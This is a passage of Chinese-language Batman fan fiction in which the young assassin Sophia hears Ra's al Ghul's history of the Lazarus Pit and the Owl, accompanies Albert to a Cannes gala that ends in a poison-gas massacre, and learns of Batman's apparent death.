跟在塔利亚身后穿过一道又一道门禁，随着进入的区域越发深入，已经完全到了索菲亚这种普通小马仔没有资格进入的核心领域了，如果按照电影的套路下一秒知道了太多真相的自己就应该被灭口了，只能寄希望于自己背后的筹码足够强大。 走出机械感十足的冰冷基地，索菲亚只是从周围略带潮湿的岩壁就能够推测出自己或许距离基地已经有了一些距离，跟在漂亮姐姐身后但一言不发实在让人憋得难受，索菲亚这才尝试抛出话题。 “你和布鲁斯都有达米安了，为什么要分手啊？” “你觉得呢？”塔利亚的声音格外有磁性，让索菲亚不由想到人都中年是否都会自动觉醒成熟御姐声线。 “呃，你爸爸不同意吗？”索菲亚刚说完这答案就直呼自己不张脑子，明明49号提过拉尔斯还挺喜欢布鲁斯的怎么可能会反对他俩的爱情。 感到懊悔地索菲亚拿手拍了拍自己的脸颊。 余光看到小猫头鹰行为的塔利亚勾起了嘴角，继续说道。 “猜的很好，下次别猜了。” “那是为什么？你们因为误会分手，但这时你发现自己怀有身孕决定瞒着他把孩子生下来，上演带球跑环节？我还蛮喜欢这种剧情的的。” “达米安并非是我生下来的孩子，但又确实是我们的孩子。” 把脑子里被网络荼毒到只有黄色相关话题的少女，努力把跳出来的关键词全部都拼凑了出来，索菲亚颤抖着嗓音蹦出了几个关键词。 “ABO？GB？Cunt boy？”少女咽了咽口水“布鲁斯知道他有这个功能吗？” “是基因工程。”塔利亚的语气里带着笑意“不过你说的那些玩法，喜欢的话也可以回去和那个罗宾试一试，我记得你们打的还算火热。” 因为外表未成年暂时还不能进行在当前网站不允许进行的生理行动的索菲亚，脑袋摇起来比中餐馆里挂在墙上的风扇还快，每个动作都表现出强烈的拒绝。 “果然还是小孩。”塔利亚的话没了下文，停了下来。 索菲亚这才意识到这条漫长的隧道已经到了头，隧道的尽头是一个和蝙蝠洞差不多大小的溶洞，溶洞内最吸引人注意的就是那一汪绿的有点过分的，会让人当成巫师投毒的池子，以及池子旁身穿被强壮身躯撑起的绿色斗篷的背影。 塔利亚虔诚的对着那个身影熟练的行礼，只留下索菲亚还站在原地看着那个背影。 在刺客联盟内部能让塔利亚这么尊重的，恐怕只有那位有恶魔之首称号的刺客联盟此刻唯一的主人拉尔斯.奥古了。 男人转过身来，露出那张被岁月留下沟壑但仍旧威严的脸庞，披风下是并非是索菲亚以为的方便战斗的制服，上身的白色上衣看起来像是丝绸的质地，柔软和顺滑，显现出年老的兽群首领特有的松弛。 “对刺客联盟满意吗猎魔人？”拉尔斯因为年老而格外细长的眼睛将索菲亚上下打量了个遍“只是没想到在失去了助手之后，侦探还没有吸取教训，把更多的孩子拉进他的事业里。” 索菲亚对于这些关于蝙蝠侠的垃圾话不感兴趣，倒也不是不喜欢布鲁斯，谁会不喜欢肆意撒币的天使投资人呢？但这些翻来覆去的话别说是索菲亚了，就算是当事人亲自听估计都难以让蝙蝠侠的平稳的心跳波动哪怕一下。 “刺客联盟的每个人都要把蝙蝠侠失去孩子的事说一遍吗？我以为您会说点我感兴趣的内容。” “我之前看不出阿尔伯特为什么对你这么执着，现在倒是明白了，你还真是他的学生。”拉尔斯的语气没有一丝不耐烦反而平静的继续cos索菲亚最烦的谜语人“目中无人，我行我素。” 索菲亚没接话，只是顺着拉尔斯的眼神看着眼前绿色的偶尔会冒出气泡的池子，摆出一副高深莫测的样子，实际上头顶的问号已经快摆不下了。 “拉撒路之池，传说于神话中的奇迹之地，任何人只要浸泡在池水中都能够重新获得生命，我在几百年前发现了这里并陷入了麻烦之中。直到我完全掌控拉撒路之池，我想有了无尽的生命，那么接下来我要实现我的理想。” “青年时的我见过了太多自相残杀的身影，最初人们相互斗争是为了生存，食物，水源，土地，女人，这些都是最唾手可得却又无比稀缺的资源。” 后来随着文明的发展，这些资源变得不再稀缺，人们又开始为了宝石，黄金，白银这些身外之物发起战争。” “直到有一类特殊的人出现了，他们犯罪不为了生存，而只是为了满足自己的欲望。在道路上夺走了他人的财物，还要夺走人的性命；花一点小钱就可以看两个无冤无仇的人互相厮杀，但这一行为只是为了取乐；还有完全沉溺在掌控他人生命乐趣的人，每天绞尽脑汁以各种奇思妙想来折磨自己的同类。” “这些人不会因为玩弄他人的生命就饿死，不会因为肆意杀人而冻死，也不会因为不强迫妇女就立马死去，这些人做事只是为了享乐，为了取悦自己足够罪恶的□□。” “而政治给了这些罪犯舞台，让这些披着人皮的禽兽玩弄整个国家的生命的权力，那时我就想我会将这些罪恶全部清除。” “一座城池，男女无视婚姻通*奸，儿童杀死老人取乐，老人为了延长寿命吃掉没有反抗能力的婴孩，我花了一个月走遍了城市的每一座角落都没能发现一个能够登上诺亚方舟被拯救离开的无辜灵魂。” “于是在一年的最后一天，我彻底清楚了隐藏在这座城市的罪恶。” 索菲亚的视线完全被绿莹莹的拉撒路之池所吸引，但也听出来了拉尔斯的言外之意。 面对罪恶，他做出了最简单的选择，屠城。 只要没有人类存在，自然也就不存在罪恶。 索菲亚没什么想要评判的话说，猫头鹰终究不是圣人，同样都是手上沾血的刽子手，自己有什么理由去指责另一个杀手，只是因为沾的血少就可以站在道德制高点吗？那也未免有些可笑了。 “拉撒路给了我很多，直到二十年前的一天，一个年轻人找到了我。” “我看得出来他的体内同样流淌着拉撒路的泉水，但与我所见到的不同，他彻底摆脱了死亡，甚至比起猫头鹰法庭的利爪要更加完整。” 那就是阿尔伯特。 索菲亚在心里补上了答案。 第89章 二十年前, 刺客联盟虽然已经在全世界建立起足够庞大的地下王国，但那时的拉尔斯还没体会到氪星人在全世界四处乱飞，变种人到处都是的刺激生活, 唯一给这位有恶魔之首之称的男人带来慰藉的只有那个与众不同的年轻男人。 拉尔斯当然知道男人的身世，哥谭韦恩家族的遗孤，十年前的一场意外带走了这个足够娇气的男孩的父母, 也将男人推进了不断思考人类诞生起就和文明共存的犯罪问题的深渊。 拉尔斯在尼泊尔遇到了因为盗窃坐牢的布鲁斯韦恩, 一个坐拥亿万财产的阔佬没有沉溺于最为简单包括美食美女在内的□□，而是像苦行僧一样的去思考无数哲学家穷其一生都无法思考明白的究极问题，并为之付出了行动。 拉尔斯遇见他时，他已经走遍了许多国家, 和无数连吃饱穿暖的基本需求都无法满足的底层人生活在一起, 挤在贫民窟肮脏阴暗的地下和老鼠相比实在找不出什么区别。 “你想知道人为什么犯罪？” 拉尔斯的语气里满是戏谑, 但看向男人坚定的钢蓝色眼睛时，恶魔之首时隔数百年似乎和当年立下誓言要清除犯罪的年轻人再次对视，于是世界上最伟大的刺客大师留下了一个线索, 一个让蝙蝠侠诞生于世界的再小不过的线索。 布鲁斯头脑敏捷, 意志坚定, 战斗技能上虽然稍显稚嫩，但这反而是最容易弥补的问题。 男人的动作里能看出多种格斗技巧相结合的特色, 根据手下传来的情报, 这个大少爷在全球各地寻找不同流派的武术大家进行学习, 直到完全掌握了这门武学才会选择前往下一个城市。 但这些在拉尔斯面前都不过是皮毛罢了。 拉尔斯无法掩饰对于布鲁斯的赏识, 将自己毕生所学都倾囊相授，并默许了妻子留下的女儿塔利亚和布鲁斯的恋情。 拉尔斯一生没什么遗憾, 只有三件事, 第一便是妻子早早离世, 只留下自己还在坚持当初的理想；第二便是自己没有儿子，只有妮莎和塔利亚两个女儿；而这第三便是，拉尔斯为自己选定的最为满意的继承人布鲁斯，最后还是无法认同老者的理想。 布鲁斯嘴里天真的在拉尔斯看来像是笑话一样的打击犯罪的宣言，促使年轻人意识到即使是再亲密的爱人和尊重的导师，也并非是同路之人。 年轻人放下了过去热烈的情感选择了离开，并在不久后身披披风将自己塑造成了哥谭城中神秘莫测的恐惧化身，并身体力行的去践行拉尔斯眼里过分天真的想法。 就在布鲁斯离开不久，阿尔伯特出现了。 阿尔伯特是一个和布鲁斯完全不同的，让拉尔斯提不起一丝好感的年轻人。 蝙蝠侠在年轻时算得上是一个表里如一的男人，任何人看了他的眼睛都只会被他眼神中，山一样磅礴的坚定所震撼。 而阿尔伯特则是另一个极端，那是一个有着典型地中海男人外表，足够风流轻佻的脸，脸上总是嬉皮笑脸，但笑意却只停在表面，要是真的与对方金色的非人的瞳孔对视，就能看到对方野心勃勃的满是傲慢的眼神。 猫头鹰出现的第一面，就凭借那些疯言疯语让拉尔斯皱起了眉头。 “忍者大师？我一直觉得这个名字很中二，别人这么喊你你不尴尬吗？” “哦对，蝙蝠侠是不是刚刚离开？真是可惜，我还想试试在他成熟之前和他过过招呢？打败了蝙蝠侠的男人，是不是名头很响？” 但不久后，阿尔伯特的疯言疯语几乎全部在现实实现了，拉尔斯这才想起猫头鹰的存在，让手下把男人从没有食物和水的地牢里捞了出来，出乎意料的是超过半年的完全缺少食物和水源的环境对男人没有任何影响。 拉尔斯和阿尔伯特再次对视时对方还能在胳膊上改花刀玩，留下几个被刻入皮肉的没有意义的猫头鹰符号。 “你想要什么？”拉尔斯已经过了和人猜来猜去的岁数，直接抛出了问题等待年轻人的回复。 “我听说忍者大师最著名的财产是能使人复活的拉撒路之池，而我，现在这个怪物的样子大概率就拜这东西所赐，我想要这东西的一部分使用权。” “你太贪心了，年轻人。”拉尔斯的武士刀与男人随手拔出的从随从身上抢来的长刀碰撞在一起，在远超于凡人力量的角逐里，猫头鹰的眼睛里满是对猎物的审视，那股成熟的不可一世的傲慢，让拉尔斯终于意识到，这不是年轻人的眼睛。 和拉尔斯一样，阿尔伯特同样是一个靠拉撒路池活了数百年甚至上千年的怪物。 “好像这个时候需要讲个理由？很简单，我曾经喝下某种半成品药剂成了现在的怪物样子，并且通过一些，盟友的帮助获得了批量生产同类的方法。只不过我还是很好奇完整的药剂会是怎样的？” 一个稳定的能够将普通人改造为变种战士的方法，确实足够恶魔之首屈尊和随时可以被塞进精神病院的猫头鹰合作，等到联盟完全掌握方法，傲慢的猫头鹰在失去作用后就会迎来他的终章。 这个过程有些漫长，但对于拉尔斯来讲并不难以忍受。 于是自契约成立的那天起，更多的对于猫头鹰阿尔伯特唯命是从的猫头鹰战士在拉尔斯的默许下进入了刺客联盟，而恶魔之首也知道了男人在猫头鹰族群中的称号——牧首。 “我手下的研究员对阿尔伯特的身体样本进行分析，在进行数次和利爪进行比对，发现了真正作用在人体内用以不断恢复躯体的核心物质，就是琥珀金。” “但利爪的生产率极低，为了表示合作的决心，阿尔伯特将他其中一个迟迟没有醒来的手下送去了法庭，于是猫头鹰法庭从她的身上找到了能够量产利爪的方法，而牧首获得了他们所有的研究资料。” 故事讲到这里索菲亚如果还听不出来阿尔伯特干了什么就可以把自己关进水泥里沉进哥谭湾里喂鱼了，但一些还没来得及解决的疑问仍旧困扰着索菲亚。 “他是怎么来到这里的？” 拉尔斯没有直接回答，而是垂下了眼。 “我想你得亲自问他，他对于偷渡到这个世界颇为得意。” “那为什么我们所在的世界也存在琥珀金？” “这也是我的疑问，猎魔人。” 老人没有再多分给少女一个眼神示意塔利亚带着索菲亚离开，重新穿过那条隧道，索菲亚不过一转头身边就没了塔利亚的身影，而在古香古色的由大理石组成的走廊尽头，站着猫头鹰硕大的背影。 “听说你犯了不少事？” 索菲亚点了点头，随后垂下了眼神。 “既然塔利亚已经惩罚过你了那就算了，你现在有别的工作。” 阿尔伯特还没戴上面具，那张跟迪克相比还年轻一点的脸上还没来及的转化出平时用来气人的嬉笑，眼神里还带着对索菲亚的审视，但很快被下一刻的面无表情所取代。 “十分钟后出发。” 男人只是轻飘飘抛下一句话，索菲亚则拖着还饿着的身体回到自己临时居住的房间确认带好基本武器后，卡着马上要被马鞭抽到皮开肉绽的节点到了预定出发的地方。 阿尔伯特这次出门体面了很多，甚至用上了直升飞机，但负责驾驶飞机的刺客一身标准的罩袍头巾打扮一时之间让索菲亚以为自己要去攻打美国复刻911的经典画面。 索菲亚抱着自己从刺客联盟零元购来的长刀，大腿侧边还绑着匕首，身边的阿尔伯特正在喝冰镇的瓶装葡萄芬达，甚至有闲心给索菲亚递一瓶过来。 索菲亚调整姿势用手臂环抱着长刀，伸出手接过了那瓶带着水珠的饮料，拧开瓶盖灌下一口。 带着气泡的葡萄香精味的汽水中大量的糖分一下让断水断粮一周的索菲亚提起了精神，按理来讲现在应该查看任务目标的有关信息，但直到直升机重新落在帆船酒店的停机坪上，索菲亚也没看到那份资料。 几乎没时间休整，索菲亚就上了刺客联盟旗下的私人飞机，一条直达戛纳的航线在八个小时内就能将索菲亚送到地球的另一端，而在相对宽敞很多的私人飞机上，阿尔伯特还在拿索菲亚的新手机打消消乐。 而失去手机的索菲亚几乎找不到给提姆发信息的机会，只能面无表情地面对空乘的工作人员端上来的精致饭菜表示再来一份。 连吃三份的索菲亚带着困意缓缓闭上了眼，满脑子都是，有本事让阿尔伯特现在就抽出鞭子给我打成陀螺，不然就算是蝙蝠侠刚吃完饭也得犯困。 只是预料之中的像是什么小圈表演现场的画面并没有出现在这架飞机上，索菲亚舒舒服服的睡了七个小时直到飞机快要落地的时候才睁开双眼，而那时阿尔伯特正端着砖头一样的充电宝在飞机上充电，而索菲亚的无辜的手机正连在充电宝上接受充电宝从飞机上冲上的电。 索菲亚努力把吐槽的话咽了下去，摆出一副死鱼眼搭配被别人欠了几百万的刻薄表情，不紧不慢的跟在换了另一个以红色为主的枪驳领西装的阿尔伯特身后，进了另一家豪华酒店——洲际加尔顿加纳酒店，并在进入房间的那一刻起就被一群打扮过分时髦的女性围在了一起簇拥进了房间。 “我想我的小女儿保持和我一样的风格就好了，你们知道的晚上有场宴会，我得带她见见世面。” “当然了帕斯托雷先生，请相信我们。” 索菲亚来不及拒绝，迷茫的回头看到了正冲自己挥手微笑的阿尔伯特。 第90章 经过几个小时的奋战, 索菲亚身上被套上了一件非常经典的黑色吊带礼服裙，裙摆长度适中大概垂落在小腿的位置，好在不是那种为了好看把腿包的很紧的鱼尾裙, 不然到了需要动手的时候还得手动撕开裙子。 缎面的布料摸起来很凉凉的很丝滑，索菲亚在等待搭配鞋子没事干的时候忍不住一直捏着玩。 搭配的鞋子在索菲亚的要求下选了同样缎面材质的黑色低跟鞋，不到五厘米的鞋跟同样为了方便行动考虑, 一身黑的打扮只差一个能够遮住脸的纱帽就可以无痛cos死了三个老公的美丽寡妇。 接下来就是等化妆和发型, 因为时间紧张的缘故，这两项几乎是同时进行的，索菲亚的头发算不上太长做不了太复杂的造型，最后只是用卷发棒卷出几个索菲亚几乎看不出来的弧度来就算结束。 等到一切准备就绪, 阿尔伯特还是那一身看起来桀骜不驯的枪驳领西装, 如果索菲亚没猜错对方最多洗了个脸连件外套都没换就出现在了这里。 在看到阿尔伯特的第一眼索菲亚就习惯性的收回了视线, 并在对方的示意下故作亲昵的挽上了男人足够坚硬的臂弯，只是脸上却始终没办法摆出和今天这身乖巧小女孩装扮相匹配的甜美微笑，仍旧没什么表情。 到底谁能和周扒皮上司出外勤还能笑得出来！ 谁！！！ 索菲亚在阿尔伯特不知道从哪搞来的法拉利后排听完了整个任务计划, 这次的行动目标在马丁内斯酒店包下了包括宴会厅客房在内的超过十层的空间来举办这次宴会。 而阿尔伯特的计划将宴会进行到一半时杀死目标完成任务, 这个要求不难达成, 索菲亚现在就能立马想出包括毒杀、枪杀、炸弹在内的多个计划。 大多数计划其实并不需要索菲亚本人进入宴会厅中央和目标进行接触，那就说明杀死目标只是任务的一部分, 阿尔伯特大概率还需要确定一些情报, 但是关于情报的内容是什么索菲亚目前并没有接触到这些信息的资格。 车内空调打的极低, 15度的温度让索菲亚以为进入了深秋, 裸露在外的肩膀和手臂都能感受到汗毛的战栗。 而驾驶座的位置阿尔伯特则颇有闲趣，嘴里还在哼歌, 索菲亚竖起耳朵听了一阵还是没能认出来具体是哪首歌, 只是听起来像是哪里的民谣, 但索菲亚也没听出来这是哪里的语言。 直到索菲亚跟在阿尔伯特身后进了宴会厅，才能真正对任务目标进行评判。 宴会规模不大，甚至没有被邀请来的和新闻行业有关的记者，就连平时闻着味就会出现的狗仔都见不到一点影子。 富丽堂皇的宴会厅里所有人几乎有互相认识，就连阿尔伯特也平滑的融入了几位衣冠楚楚的端着香槟杯侃侃而谈的人群的对话，甚至不过三言两语就掌握了谈话的主动权。 这在那些名流宴会上不算常见的场景，根据索菲亚少数见过的场面来说，一场完全由熟人组成的宴会倒不是不可能发生，但大多数时候宴会的举行除去那些真正的达官显贵，一定会有一些被称为新贵实则是暴发户的新人进入，同时各大报社也不会放过这个从这个场合挖出猛料来的机会。 毕竟当红影星和商业巨鳄爆出绯闻甚至疑似有私生子的消息，天然就比那些无趣虚伪用来洗钱的慈善计划要更吸引眼球。 “好久不见帕斯托雷先生，我还在想什么时候有机会拜访您呢？” 穿着礼服带着钻石项链的妇人礼节性的和阿尔伯特拥抱过后，随后将脸颊贴在了索菲亚的脸庞，少女见状模仿对方的动作完成了这项表示亲近的贴面礼。 “哦亲爱的，你一定就是帕斯托雷先生的小女儿，他总是提起你。” 索菲亚顺着对方的话点了点头，但好在对方并没有把注意力放在索菲亚身上，而是和阿尔伯特一起进行了攀谈，只留索菲亚在一群成年人中间罚站。 还不到提前去布置现场的时候，索菲亚只能站在原地，看着这群人热情洋溢的闲聊，在一众高级面料组成的人墙里，索菲亚的余光扫过却被一个有些熟悉的东西捕获了视线。 对方礼服的袖子下露出了一个刺青的边缘，像是鸟一样的图案有些奇怪实在让人难以移开视线，为了确定这个图案不是个例，索菲亚开始观察在场其他人。 和索菲亚预料的差不多，在场的所有人身上都有着这个奇怪的图腾，或许在手腕处，或许在脚踝上，又或许在锁骨处，并且这些人并没有要遮掩的意思，反而都展示了出来。 而那个图案就是索菲亚见到过的不久前在哥谭的地下室里出现过的一大片图腾中，那只格外粗犷的蝙蝠的图案。 索菲亚察觉到了这场宴会的不同之处，于是接着去洗手间用从其他宾客身上摸出来的专属卡片混进了这些人居住的楼层。 于是接下来就是非常老套的情节，在房间的内部有暗门存在，推开暗门就能发现被隐藏起来的房间。 而这个房间里供奉着足够抽象难看的和他们身上图腾如出一辙的蝙蝠塑像，比起蝙蝠侠创作出来的眉清目秀的图案，这里的蝙蝠难看的可以做恐怖游戏的boss，给一路闯关披荆斩棘的英雄设下无数磨难后，最后只有被英雄打败这一条路可选。 不过这里倒是没什么活人献祭的血腥场面，最多只能吐槽这帮人XP和审美怪了些，喜欢这些稀奇古怪的人外属性。 距离约定的时间越来越接近，索菲亚干脆离开了密室，顺着和进入的路不同的密道离开了这片目前没有大问题的祭坛，站在酒店的走廊里在暖黄色的给人归属感的灯光下等待阿尔伯特的指示。 索菲亚很快找到了那个露台，第一眼就能够宴会厅尽收眼底，而阿尔伯特正斜靠在栏杆前把玩手上那个在索菲亚面前刷存在感有些频繁的毛绒丑蝙蝠样式的面具。 “你还不知道我们要做什么吧，那我想给你讲个故事怎么样？” 索菲亚没拒绝，或者说没办法拒绝，于是站在露台前看着宴会厅还在推杯换盏的奇怪XP爱好者们，静静的听阿尔伯特的描述。 “蝙蝠侠系列里存在一个邪教，虽然这种故事里邪教元素不少就是了，但这个邪教信仰的是哥谭地下的一位彻头彻尾的邪神巴巴托斯，那是一位时而以蝙蝠形状出现，时而又化身为恶龙四处散播恐怖与绝望的彻头彻尾的邪神。” “但很巧的是，在你和我的那个世界里同样有类似的传说，还记得吗？印尼那个有关阿胡的故事。” “曾经我以为蝙蝠侠里的那个故事只不过是取材后的杜撰，直到我从那帮喜欢吃人的怪物嘴里彻底弄清楚了药剂的成分，这帮老不死也把药剂中最重要的最不可或缺的那部分，称之为琥珀金。” “从那时起，我意识到漫画似乎并非只是虚构，或许他是真实存在的。好姑娘，你现在就算拿看疯子的眼神看我我也不会生气的，大家都当我是疯子我知道的，但至少给我个眼神好吗？” 索菲亚顺着阿尔伯特的话看了过去，和那双眼睛对上了视线。 “但是你知道为什么过了那么久那些和魔法怪物打交道的猎魔人都没有再出现了吗？我说的不是那些拿着刀剑就出门的家伙，你知道的，那个把你偷走的家伙才是真正的猎魔人，剩下那些只能算cospy爱好者。” “因为药剂，炼金术士已经没办法做出药剂了，琥珀金在我们的世界已经消耗殆尽，曾经有炼金术士想要改良药剂的配方使得制造出更多的猎魔人来保护人类，结果？自然是一败涂地。” “而那份唯一的药剂选中的天选之人，就是那个从乡下来的杂种，而他就像个圣人一样把那些罪恶的，只能藏在黑暗里的东西全都当虫子一样杀得干干净净。” “别怕好姑娘，我说了我没生气，我只是在讲一些作为牧羊人该给迷途小羊做的基础教导，我说到哪里了，哦对琥珀金。” “我当然不会真的全心全意给那帮吸血鬼狼人当狗，大家各取所需罢了就和刺客联盟一样，我只是需要从那个没有任何意义的世界离开，并且获取更多的琥珀金。” “但离开之前，我想到了你，我的小马，我的小狗，你到我身边的时候还是个三头身的小孩，离开了猫头鹰你该怎么办呢？你还没有学会飞翔就被人偷走，对，那个杂种他竟然敢偷走我的小马，我那么喜欢你，那么宠爱你，离开了我你半夜会哭鼻子吗，索菲亚？” “于是我带上了你，那么现在——” 索菲亚察觉到对方身上爆发而出的剧烈杀气，一个转身就要逃离，就被足够捏碎人头骨的巨力抓着头发拽了回来一把按在了露台的栅栏上，而阿尔伯特那张消瘦的脸则靠的越来越近。 “索菲亚，你告诉我？离开鸟巢背叛我的滋味好受吗？” 索菲亚愣神了不过几秒，立马回忆起自己不是什么虐女文里那些被怎么虐待都不会死亡的强大女主，第一反应自然是顺着阿尔伯特拉扯的方向而去，反手抓住了男人的手腕直击对方的腹部。 若是平时穿着制服的阿尔伯特这一招自然没用，但今天索菲亚特地确定了猫头鹰没有带上任何装备，或许是过于自负的原因。 阿尔伯特抓住了索菲亚袭击的手稍一用力，索菲亚就听到了骨头错位发出的清脆响声，但男人并没有放开少女的头发，而是用力将那颗头颅往大理石的栅栏上砸去。 索菲亚硬挨了两下头脑一片空白，但另一只手则伸向了裙摆下被绑在大腿处的匕首，对着男人近在咫尺的位于颈侧的动脉用尽全力捅了进去，在快速拔出后再次捅了进去，甚至在第二次拔出匕首时不忘记旋转刀刃将创口放大。 “神经病！阿尔伯特，你要是发疯就去阿卡姆挂个号。” 完全被压在露台上几乎半个身体都悬在半空的索菲亚没在阿尔伯特脸上看到一丝因为疼痛而产生的表情变化，甚至男人的表情依旧平静，那张总是挂着假笑的脸上终于染上了笑意。 “蝙蝠侠就教了你这些？” 男人的语气带着戏谑，索菲亚感受到男人手上挟持着自己的力气逐渐放轻，在确认这个高度不至于完全失去行动能力的情况下，一个翻身挣脱了束缚，任凭自己在重力的作用下在高空自由落体。 来自巴黎的和哥谭完全不同的夜风从脸上拂过，索菲亚落到了另一处露台，还未来得及爬上去，就被不知道哪里来的子弹贯穿了手掌。 少女一时失去了平衡跌落下去重重的摔在了石头材质的地面上，好在下方也都是类似的露台结构，并且几乎垂直于阿尔伯特所在的位置，索菲亚忍痛躲进了露台所连接的房间里，避免了被男人再次枪击的可能。 索菲亚一边咬着牙等身上的伤口愈合，一边等待即将追击而来的阿尔伯特。 但阿尔伯特始终都没有继续他突然出现的打猎活动，而索菲亚透过露台清晰的看到了男人选择的杀人手段。 毒气从空调管道进入宴会厅，只需要不过五分钟，那些还在因为教派聚会而兴奋的信徒就会在短暂的痛苦中死去。 包括那些还在服务的端着托盘的服务生，还在演奏音乐的艺人，这些人平等的死在剧毒药物的作用下，在濒死的恐惧下摆出各种各样的丑态。 一切的始作俑者或许还在索菲亚上空的露台上欣赏着这一幕闹剧。 90-100 第91章 索菲亚能够等待伤口愈合的时间不多, 在公共场合下多人失踪的信息根本不可能瞒太久，毕竟现在是信息时代，而不是什么中世纪那种独有的只要把大门锁上就可以无痛cos《红丝病假面舞会》的爱伦坡作品交流会。 等待手上的伤口愈合到不至于第一眼就把人吓到报警的程度的时候, 临时杀手随手从房间里丝绸床单上割下来一块把伤口勉强包扎了一下，就装作若无其事的顺着楼梯下楼，来到了酒店一楼的大厅, 并顺着退房的人群一起出了酒店。 不管怎么说, 现在都是最好的逃走的机会，目前掌握的信息虽然没有全面到把所有事都搞清楚，但已经大大超出了索菲亚的预期，至少从这个角度看索菲亚这段时间的忍辱负重不算白来。 少女走在街上, 打开前置摄像头开始整理发型, 和大街上那些青春洋溢的女孩没有任何区别, 只是动作稍有些不同，通过悄悄移动手机通过镜头判断身后是否有阴魂不散的刺客联盟留下的暗线。 那些街道上行为过于嚣张的大概率不是刺客联盟的成员，比如那位穿着oversize风格宽大裤子, □□几乎要掉在地上的Fashion Boy, 举止鬼鬼祟祟随时盯着来往人群的背包和口袋的大概率只是个想撰写快钱的小偷, 哦对还有一个溜，呃, 鳄鱼的宠物爱好者, 虽然索菲亚始终不能理解鳄鱼为什么需要溜。 这些行动过于夸张的行为大概率只能算法国当地人杰地灵, 作为杀手索菲亚用自己不怎么丰富的工作经验也知道, 更需要提防的是那些看起来正常无比根本没人会投射视线和注意力的普通人。 比如特工电影里老掉牙的假装看报纸的桥段，现实里遇到这种情况正常人的反应只会报警, 哦对不排除好莱坞明星在街道拍摄特工题材电影而进行特训的情况发生, 但索菲亚还是想请这些编剧导演稍微更新一下手头有关这些特殊职业的资料, 这种类似于蝙蝠侠和罗宾夜巡突然从口袋里掏出大哥大的画面真的不会感觉突兀吗？ 好在索菲亚身上的裙子还算得上体面，最多像是和男朋友约会然后被鸽了只能狼狈走回家的倒霉女高中生，而不是什么杀手组织内部搞内讧仇人见面眼分红把彼此打到神志不清甚至杀了人全家的动作电影。 众所周知戛纳是一个商业化程度很高的海边小城，即使把电影艺术这一特色抛开不谈，其本身的景色确实独树一帜。 按照计划索菲亚对于法国的安排除去和提姆把工作打包好塞给布鲁斯后会选择的度假场地之外，也只有来看好不容易被放出来的林肯在海面卖防晒油，虽然这份工作看起来有点拥挤。 只是索菲亚实在没有把自己送到沙滩边自寻死路的想法，现在天色算不上明亮海边这种自然的青纱帐无疑是杀人抛尸的好地方，回到城镇上彻底甩掉身后的眼线或许才是最好的办法。 索菲亚走了没多久就被配套的鞋子磨得脚疼，毕竟这双超过一千刀的香奈儿圆头搭扣高跟鞋（其实不高）的设计师也没想到会有人穿着双娇贵的要死的鞋在各种粗糙路面极限暴走十公里。 好在戛纳的海滩和镇子的距离没有那么离谱，如果在哥谭想要从东区走到哥谭市中心的伯恩利区那才是要了老命了，先不说一路上无比遥远的距离，光是路上可能会遇到了六起起步的抢劫，就足够任何一个人头大。 十几分钟过去，索菲亚没遇到太多波折，最多也就是在经过卖各类小吃的摊贩前犹豫了片刻，但很快就摆脱了这些麻烦，路过的每一个小摊索菲亚都吃了个遍，有效的弥补了参加这个破宴会什么也没吃上的遗憾。 可能之前索菲亚还得夹着尾巴小心阿尔伯特会通过手机来监视自己的行程，但在那段对峙里男人完全将两人之间的遮羞布完全扯下，挑明了自己现在和蝙蝠侠的关系，就连刺客联盟内部都知道自己和罗宾的关系，事到如今再玩那些除了自我折磨毫无意义的行为实在不太明智。 所以来到戛纳的任务除了阿尔伯特外竟然没有刺客联盟的成员接应吗？ 或者说这次任务只是阿尔伯特个人目的需要处理的问题而不是出于刺客联盟的利益的行动。 想到这里索菲亚拿之前找到的零钱跑到电话亭尝试给提姆打电话，电话亭的通话记录很难被追踪，而且被发现最烂的情况就是逮回刺客联盟继续受点惩罚，这点代价索菲亚还付得起。 听筒那头等待接通的“嘟嘟嘟”的声音像是敲在人的心脏上给人徒增了没必要的压力，但一向喜欢立马接听电话的少年却迟迟没有动静。 索菲亚无聊的很开始下意识观察起身边，正好将街边摆放的电器店映入眼帘，巧合的是那由无数个电视组成的橱窗正在播放正义联盟的新闻。 索菲亚下意识在这些画面里找那个黑色的让人安心的身影，却扑了个空，就在此时电话接通了，听筒那头响起的少年干涩而疲惫的声音与透传玻璃显得无比空洞的电视里播报新闻的声音重合在一起。 “蝙蝠侠是一个英雄，他也是我们每个人最忠诚的朋友，如今这位英雄付出了他的生命……” “你好，这里是德雷克——” 索菲亚不记得自己说了什么，也不记得电话那头的提姆说了什么，只记得透过电话亭和橱窗两次灰蒙蒙的许久未打扫的玻璃，自己终于看到了电视上那个被正义联盟的英雄们所簇拥的影子，他身上特殊材质的总是在哥谭高空飞扬的披风变得破烂无比。 索菲亚只能看到和那件披风一样变得破破烂烂的制服，只是和以往不同，此时蝙蝠侠却没有站起来而是合上了那双钢蓝色的眼睛。 索菲亚的嗓子完全被堵上了，喉头颤动了几次都没能说出一句话，而在电话那头的少年在沉默片刻后终于说出了这场漫长通话的第一句话。 “是你吗？” “嗯。”索菲亚从嗓子眼挤出一句鼻音点了点头，这才想起来那边的人看不到自己的动作。 “你看到新闻了吗，索菲亚？”那头的声音停顿了片刻“我想我该去安慰阿福，他离开的太突然了，我害怕阿福会无法承担……” 少年絮絮叨叨的说了很多，而索菲亚即使双脚发麻也没有想要挂断电话的念头，只是沉默的听着少年的话。 总是喜欢为所有人操心的罗宾在电话里提到了所有人，阿福，迪克，芭芭拉，斯蒂芬妮，还有刚被收养没多久的卡珊德拉，索菲亚不敢打断他只是静静的听着。 索菲亚等了许久，才等到罗宾面具下的提姆从过分严谨的蜘蛛网一样的逻辑合理性中冒出了头。 “他不会走的对吧，这只是一场阴谋，他怎么能这么离开。”少年的声音没有一丝哽咽，仿佛面对的不是导师的离世，而只是一场再普通不过的案件调查，只是这起案件的中心恰好叫做蝙蝠侠。 “他不会这么丢下我们的。”索菲亚终于说出了这句听起来毫无力度的话，而在电话那头的提姆突然笑了。 “对，那我会把他带回来，在你回来之前，我发誓等你回来就能看到他站在那里……” 索菲亚此刻只想放弃一切，把什么阿尔伯特，刺客联盟这些没用的东西全都抛到脑后，那双大海一样无数次被索菲亚所注视的眼睛似乎再次出现在眼前。 上一次少年露出了这样的眼神没过多久就成为了罗宾，对着即将从哥谭善与恶边缘的钢丝绳上落下的蝙蝠侠伸出了手，而现在面对这场突然而来的死亡他做出了同样的选择。 